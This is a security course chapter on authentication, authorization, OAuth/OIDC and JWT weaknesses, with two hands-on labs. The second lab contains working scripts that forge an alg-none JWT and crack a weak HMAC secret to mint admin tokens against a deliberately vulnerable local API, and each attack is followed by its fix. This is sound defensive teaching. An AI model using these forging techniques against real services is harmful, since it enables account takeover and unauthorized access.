Careers Post-AI
Security: all chapters

SecurityPart 2: Application security

Chapter 6Authentication and authorization

35 min read, 2 labs, Intermediate

In 2023 an attacker used one stolen Microsoft signing key to forge login tokens and read the email of roughly 25 organizations, including US government agencies. No password was guessed; the systems simply believed a token they should have rejected. This chapter shows how identity really works on the web, from password hashes to OAuth flows and passkeys, and exactly where it breaks.

After this chapter you can

  • Store passwords correctly and choose MFA that resists phishing
  • Compare server-side sessions with self-contained tokens and set cookie flags deliberately
  • Trace the OAuth 2.0 authorization code flow with PKCE and explain what OpenID Connect adds
  • Exploit and fix the classic JWT attacks: alg none, key confusion and weak secrets
  • Choose between RBAC, ABAC and ReBAC and recognise the broken access control patterns that cause most findings

Two questions, two systems

Authentication answers "who are you?". Authorization answers "what may you do?". They fail differently, and mixing them up is the root of many bugs: a perfectly authenticated user who can read everyone's data has an authorization problem, not a login problem.

Authentication happens once per session. Authorization must happen on every request, for every object. That asymmetry is why OWASP's Top 10:2025 ranks Broken Access Control first and Authentication Failures seventh.

Storing passwords

A password database will leak eventually, so store passwords in a form that is useless when stolen. That means a slow, salted password hashing function, never a fast hash like SHA-256 and never reversible encryption.

ApproachWhat an attacker with the database can do
Plaintext or encryptedRead every password (the key is usually on the same server)
SHA-256, unsaltedLook up common passwords in precomputed tables instantly
SHA-256 with saltGuess billions per second per GPU, one user at a time
Argon2id, scrypt or bcryptGuess perhaps thousands per second per GPU, because each guess costs memory and time

The OWASP Password Storage Cheat Sheet recommends Argon2id with at least 19 MiB of memory, 2 iterations and 1 degree of parallelism. bcrypt is acceptable for legacy systems with a work factor of at least 10; note it silently ignores input beyond 72 bytes.

passwords.py
from argon2 import PasswordHasher  # pip install argon2-cffi
 
ph = PasswordHasher(memory_cost=19456, time_cost=2, parallelism=1)
 
stored = ph.hash("correct horse battery staple")
# '$argon2id$v=19$m=19456,t=2,p=1$<salt>$<hash>' : parameters travel with the hash
 
def check(stored, attempt):
    try:
        ph.verify(stored, attempt)
    except Exception:
        return False
    if ph.check_needs_rehash(stored):
        pass  # re-hash with current parameters and save
    return True

Policy matters as much as storage. NIST SP 800-63B-4 requires a minimum of 15 characters when a password is the only factor, forbids composition rules such as "one symbol and one digit", and says to check new passwords against lists of breached ones. Rate-limit login attempts per account and per source to blunt online guessing and credential stuffing (replaying passwords leaked from other sites).

Multi-factor authentication and passkeys

A second factor stops most credential stuffing. But not all factors are equal: the question that matters is whether a convincing fake login page can relay the factor to the real site in real time.

FactorPhishing-resistant?Main weakness
SMS codeNoSIM swap, interception, user types it into the fake page
TOTP app codeNoUser types it into the fake page, attacker relays it
Push approvalNoPush bombing until the tired user taps approve
WebAuthn security key or passkeyYesAccount recovery flows that fall back to weaker factors

Passkeys are WebAuthn credentials. At registration the authenticator (a phone, laptop or hardware key) creates a key pair for this one site, identified by the relying party ID such as example.com, and the server stores only the public key. At login the server sends a random challenge and the authenticator signs it.

The browser, not the user, decides which RP ID a page may ask for. A phishing page on examp1e.com cannot request a signature for example.com, and even if relayed, the signed client data names the wrong origin. That is what "phishing-resistant" means mechanically. Synced passkeys (stored in a platform keychain) trade some assurance for usability; device-bound security keys never let the private key leave the hardware.

After login, the server must recognise the user on later requests. There are two families of design.

Server-side session

  • Cookie holds a random ID, meaningless on its own
  • State lives in a database or cache
  • Logout and revocation are instant: delete the row
  • Every request needs a lookup

Self-contained token (JWT)

  • Token carries signed claims such as user and role
  • Any service with the key can verify it, no lookup
  • Revocation is hard until the token expires
  • A verification bug means forged identities

For a browser app talking to its own backend, a server-side session in a well-flagged cookie is usually the safer default. Self-contained tokens earn their keep between services and across organisations, which is exactly where OAuth uses them.

Cookie attributeEffectSet it to
SecureSent only over HTTPSAlways
HttpOnlyNot readable from JavaScriptAlways for session cookies
SameSiteControls sending on cross-site requestsLax by default, Strict for sensitive apps
Path, DomainScopeOmit Domain so the cookie stays on one host
__Host- name prefixBrowser enforces Secure, Path=/ and no DomainUse it: __Host-session=...

Regenerate the session ID at login to prevent session fixation, where an attacker plants a known ID before the victim authenticates. Set both an idle timeout and an absolute lifetime.

OAuth 2.0 and OpenID Connect

OAuth 2.0 is a delegation protocol: it lets a user grant an application (the client) limited access to their data at another service (the resource server) without sharing their password. The authorization server issues tokens. OAuth by itself says nothing about who the user is.

OpenID Connect (OIDC) adds that missing piece. It runs the same flow with the openid scope and returns an ID token, a signed JWT describing the authenticated user, alongside the access token.

The flow you should use for almost every client is the authorization code flow with PKCE (Proof Key for Code Exchange, RFC 7636). The client invents a random code_verifier, sends only its SHA-256 hash (code_challenge) on the front channel, and must present the original verifier to redeem the code.

Each parameter blocks a specific attack:

  • state binds the callback to the browser that started the flow, stopping login CSRF.
  • code_verifier and code_challenge make a stolen authorization code useless, since the thief lacks the verifier.
  • nonce is echoed inside the ID token, stopping replay of an old ID token.
  • Exact redirect URI matching stops an attacker from having codes sent to their own URL.

RFC 9700, the OAuth 2.0 Security Best Current Practice published in January 2025, makes this the norm: PKCE for all clients, no implicit flow, no password grant, and exact string matching of redirect URIs.

JWTs and how they break

A JSON Web Token is three base64url segments joined by dots: a header, a payload of claims and a signature over the first two. Anyone can read the payload. Only the signature makes it trustworthy.

eyJhbGciOiJIUzI1NiJ9 . eyJzdWIiOiJhbGljZSIsInJvbGUiOiJ1c2VyIn0 . 3q2-...
header: {"alg":"HS256"}  payload: {"sub":"alice","role":"user"}  signature

The fatal design flaw is that the header tells the verifier which algorithm to use, and the header is attacker-controlled. Three classic attacks, all disclosed across many libraries from 2015 onward, follow from trusting it.

AttackHow it worksRoot-cause fix
alg: noneAttacker sets the header to {"alg":"none"}, removes the signature, and a naive verifier accepts itPin the allowed algorithms in server config; never read them from the token
Key confusionServer expects RS256 and holds a public key. Attacker switches to HS256 and signs with that public key as the HMAC secret; a generic verify(token, key) accepts itPin the algorithm and bind each key to exactly one algorithm
Weak HMAC secretHS256 tokens can be brute-forced offline from one captured token, since the attacker can test guesses without touching your serverUse a random secret of at least 256 bits, or asymmetric keys

Other recurring bugs: not checking exp, aud or iss, so a token for service A works at service B; following a jku or kid header to fetch or select a key the attacker controls; and putting secrets in the payload, which is encoded, not encrypted.

Vulnerable

auth.py
header = jwt.get_unverified_header(tok)
claims = jwt.decode(tok, KEY,
    algorithms=[header["alg"]])

Fixed

auth.py
claims = jwt.decode(tok, PUBLIC_KEY,
    algorithms=["RS256"],
    audience="orders-api",
    issuer="https://id.example.com",
    options={"require": ["exp", "aud", "iss"]})

The Microsoft incident from the opening was a cousin of these bugs: a consumer-account signing key was accepted for enterprise mail because validation did not check which issuer a key belonged to. Key-to-issuer binding is part of verification, not an afterthought.

Access control models and how they fail

Once you know who the user is, you need a model for what they may do. Three models dominate, and real systems often combine them.

ModelDecision based onGood fitExample rule
RBAC (role-based)User's rolesInternal tools, coarse permissionsRole billing-admin may issue refunds
ABAC (attribute-based)Attributes of user, resource, action and contextRegulated data, time or location rulesDoctors may read records of patients in their department during their shift
ReBAC (relationship-based)A graph of relationshipsSharing, documents, multi-tenant SaaSYou may edit a doc if you are an editor of its folder

ReBAC was popularised by Google's Zanzibar paper and is implemented by open-source systems such as OpenFGA and SpiceDB. Whatever the model, put the decision in one place, a policy function or service, and call it from every handler.

policy.py
def can(user, action, resource) -> bool:
    if action == "invoice:read":
        return resource.tenant_id == user.tenant_id and (
            resource.owner_id == user.id or "billing-admin" in user.roles)
    return False  # deny by default
 
@app.get("/invoices/<int:iid>")
def get_invoice(iid):
    inv = Invoice.get_or_404(iid)
    if not can(current_user, "invoice:read", inv):
        abort(404)  # do not confirm the object exists
    return inv.to_json()

The broken patterns that fill pentest reports:

  • Object-level (IDOR or BOLA): the handler checks login but not ownership of the object ID.
  • Function-level: the admin button is hidden in the UI, but POST /api/admin/users works for anyone who calls it.
  • Mass assignment: the update endpoint binds all JSON fields to the model, so sending "role": "admin" promotes yourself.
  • Client-side enforcement: the check lives in JavaScript, which the attacker controls.
  • Inconsistent paths: the web route checks, but the mobile API, export job or GraphQL resolver for the same data does not.
  • Fail-open defaults: a missing policy returns allow instead of deny.

Key terms

Argon2id
A memory-hard password hashing function designed to make each guess expensive on GPUs and ASICs.
Credential stuffing
Logging in with username and password pairs leaked from other sites.
Passkey
A WebAuthn credential: a site-specific key pair whose private key stays in an authenticator.
OAuth 2.0
A delegation protocol in which an authorization server issues tokens that let a client access a resource on a user's behalf.
OpenID Connect
An identity layer on OAuth 2.0 that adds a signed ID token describing the authenticated user.
PKCE
Proof Key for Code Exchange: a per-request secret that makes an intercepted authorization code unusable.
JWT
JSON Web Token: base64url-encoded header and claims plus a signature over them.
Key confusion
Tricking a verifier into checking an HMAC signature using an RSA public key as the secret.
ReBAC
Relationship-based access control, where permissions derive from a graph of relationships between users and objects.
Mass assignment
Binding all request fields to a data model so attackers can set fields they should not control.
Lab

Build a tiny OIDC login with PKCE

Intermediate, 60 min

Goal: run your own identity provider locally, build a 40-line web app that logs in with OIDC and PKCE, and observe every parameter of the flow.

You need: Docker, Python 3.10 or newer, and pip install flask authlib requests. Everything runs on localhost.

  1. Start Keycloak, an open-source identity provider, in development mode:

    docker run --rm -p 127.0.0.1:8080:8080 \
      -e KC_BOOTSTRAP_ADMIN_USERNAME=admin -e KC_BOOTSTRAP_ADMIN_PASSWORD=admin \
      quay.io/keycloak/keycloak:26.7.5 start-dev

    Open http://localhost:8080/admin and log in as admin / admin.

  2. Create a realm named lab. In it, create a user alice, then set a password on the Credentials tab with Temporary switched off.

  3. Create a client: Clients, Create client, client ID flask-app. Turn Client authentication on and keep Standard flow enabled. Set Valid redirect URIs to http://localhost:5001/callback. Set the PKCE method to S256 (under Capability config or the Advanced tab, depending on your Keycloak version) so Keycloak requires PKCE. Copy the secret from the Credentials tab.

  4. Write the app. Port 5001 avoids the macOS AirPlay receiver on 5000.

    app.py
    import os, secrets
    from flask import Flask, redirect, session, url_for
    from markupsafe import escape
    from authlib.integrations.flask_client import OAuth
     
    app = Flask(__name__)
    app.secret_key = secrets.token_hex(32)
    app.config.update(SESSION_COOKIE_HTTPONLY=True, SESSION_COOKIE_SAMESITE="Lax")
     
    oauth = OAuth(app)
    oauth.register(
        name="kc",
        server_metadata_url="http://localhost:8080/realms/lab/.well-known/openid-configuration",
        client_id="flask-app",
        client_secret=os.environ["CLIENT_SECRET"],
        client_kwargs={"scope": "openid profile email", "code_challenge_method": "S256"},
    )
     
    @app.route("/")
    def index():
        user = session.get("user")
        if not user:
            return '<a href="/login">Log in</a>'
        return f"Hello {escape(user['preferred_username'])}. <a href='/logout'>Log out</a>"
     
    @app.route("/login")
    def login():
        return oauth.kc.authorize_redirect(url_for("callback", _external=True))
     
    @app.route("/callback")
    def callback():
        token = oauth.kc.authorize_access_token()  # checks state, sends verifier, validates ID token
        print("ID token claims:", token["userinfo"])
        session.clear()
        session["user"] = dict(token["userinfo"])
        return redirect("/")
     
    @app.route("/logout")
    def logout():
        session.clear()
        return redirect("/")
  5. Run it and log in as alice at http://localhost:5001:

    CLIENT_SECRET=paste-your-secret flask --app app run --port 5001

    The page should greet alice, and the terminal prints claims including iss, aud (equal to flask-app), exp, nonce and preferred_username.

  6. Open the browser's developer tools, Network tab, preserve log, and log in again. Find the request to /realms/lab/protocol/openid-connect/auth and confirm its query string contains code_challenge, code_challenge_method=S256, state and nonce. Find the callback and confirm it carries code and the same state. Note that the code exchange itself never appears: it is a back-channel call from your server.

Check your work: you can point at each of state, nonce, code_challenge and code in your captured traffic and say which attack it blocks.

Stretch: remove code_challenge_method from client_kwargs and log in again. Keycloak should refuse the request because the client requires PKCE. Then change state by hand in the callback URL and observe Authlib reject it.

Lab

Forge tokens against a deliberately weak JWT API

Intermediate, 45 min

Goal: exploit alg none and a weak HMAC secret against an API you write yourself, then fix it with a pinned, well-configured library call.

You need: Python 3.10 or newer, pip install flask pyjwt requests. Run this only on your own machine.

  1. Save this deliberately broken API. It hand-rolls JWT verification, which is the first mistake.

    weak_api.py
    import base64, hashlib, hmac, json
    from flask import Flask, request
     
    SECRET = b"summer2024"  # weak on purpose
     
    def b64e(b): return base64.urlsafe_b64encode(b).rstrip(b"=").decode()
    def b64d(s): return base64.urlsafe_b64decode(s + "=" * (-len(s) % 4))
     
    def sign(claims):
        h = b64e(json.dumps({"alg": "HS256", "typ": "JWT"}).encode())
        p = b64e(json.dumps(claims).encode())
        s = b64e(hmac.new(SECRET, f"{h}.{p}".encode(), hashlib.sha256).digest())
        return f"{h}.{p}.{s}"
     
    def verify(token):
        h, p, s = token.split(".")
        if json.loads(b64d(h))["alg"] == "none":  # BUG: trusts the token's header
            return json.loads(b64d(p))
        good = b64e(hmac.new(SECRET, f"{h}.{p}".encode(), hashlib.sha256).digest())
        if not hmac.compare_digest(s, good):
            raise PermissionError("bad signature")
        return json.loads(b64d(p))
     
    app = Flask(__name__)
     
    @app.post("/login")
    def login():
        return {"token": sign({"sub": request.json["user"], "role": "user"})}
     
    @app.get("/admin")
    def admin():
        claims = verify(request.headers["Authorization"].removeprefix("Bearer "))
        if claims.get("role") != "admin":
            return {"error": "forbidden"}, 403
        return {"message": f"welcome, admin {claims['sub']}"}
  2. Run it with flask --app weak_api run --port 5002, then get a normal token and confirm it is refused at /admin:

    TOKEN=$(curl -s -X POST localhost:5002/login -H 'Content-Type: application/json' \
      -d '{"user":"mallory"}' | python3 -c 'import sys,json;print(json.load(sys.stdin)["token"])')
    curl -s localhost:5002/admin -H "Authorization: Bearer $TOKEN"

    Expect {"error":"forbidden"}.

  3. Attack 1, alg none. Forge an unsigned admin token:

    forge_none.py
    import base64, json
    b64 = lambda d: base64.urlsafe_b64encode(json.dumps(d).encode()).rstrip(b"=").decode()
    print(b64({"alg": "none", "typ": "JWT"}) + "." + b64({"sub": "mallory", "role": "admin"}) + ".")

    Send it with curl -s localhost:5002/admin -H "Authorization: Bearer $(python3 forge_none.py)" and expect the welcome message.

  4. Attack 2, weak secret. Crack the HMAC key offline from your captured token, then sign your own:

    crack.py
    import base64, hashlib, hmac, json, sys
    token = sys.argv[1]
    h, p, s = token.split(".")
    words = ["password", "secret", "changeme", "jwtsecret", "summer2024", "letmein"]
    for w in words:
        mac = base64.urlsafe_b64encode(hmac.new(w.encode(), f"{h}.{p}".encode(),
                                                hashlib.sha256).digest()).rstrip(b"=").decode()
        if hmac.compare_digest(mac, s):
            print("secret found:", w)
            import jwt
            print(jwt.encode({"sub": "mallory", "role": "admin"}, w, algorithm="HS256"))
            break

    Run python3 crack.py "$TOKEN"; it prints the secret and a forged token that the API accepts. Real attackers use hashcat mode 16500 with large wordlists at millions of guesses per second.

  5. Fix it. Replace SECRET with secrets.token_bytes(32) loaded from an environment variable, and replace verify with a pinned library call:

    weak_api.py (fixed verify)
    import jwt
    def verify(token):
        return jwt.decode(token, SECRET, algorithms=["HS256"],
                          options={"require": ["exp", "sub"]})

    Add "exp" (for example, now plus 15 minutes) when signing. Restart and replay both forged tokens.

Check your work: before the fix, both forged tokens return the admin welcome. After it, the alg none token raises an invalid algorithm error and the cracked-secret token fails signature verification, while a fresh token from /login still verifies (and is still refused at /admin, because mallory is not an admin).

Stretch: pip install cryptography, switch the API to RS256 with a generated key pair, then try the key confusion attack by HMAC-signing a token with the public key PEM. Confirm that PyJWT refuses it, and write two sentences in your notes on why pinning algorithms is what makes that refusal possible.

Check yourself

A site hashes passwords with salted SHA-256. Why is that still a poor choice?

A user is tricked into a pixel-perfect fake login page that relays everything to the real site in real time. Which second factor still protects them?

In the authorization code flow with PKCE, an attacker steals the authorization code from a redirect. Why can they not exchange it?

A service verifies JWTs with a call like decode(token, key) and lets the library pick the algorithm from the token header. It holds an RSA public key. What attack is it open to?

An admin panel's menu is hidden for normal users, but the API endpoint behind it only checks that the caller is logged in. What is the right fix?

Recap

  • Authentication proves identity once; authorization must be checked on every request for every object.
  • Store passwords with Argon2id or bcrypt, follow NIST length-over-complexity guidance, and rate-limit logins.
  • Only WebAuthn and passkeys resist real-time phishing, because the browser binds signatures to the origin.
  • Use the authorization code flow with PKCE, validate the ID token fully, and never treat an access token as proof of login.
  • Most JWT attacks come from trusting the token's own header; pin algorithms and keys in server configuration.
  • Centralise authorization in one deny-by-default policy and call it from every path to the data.

Go deeper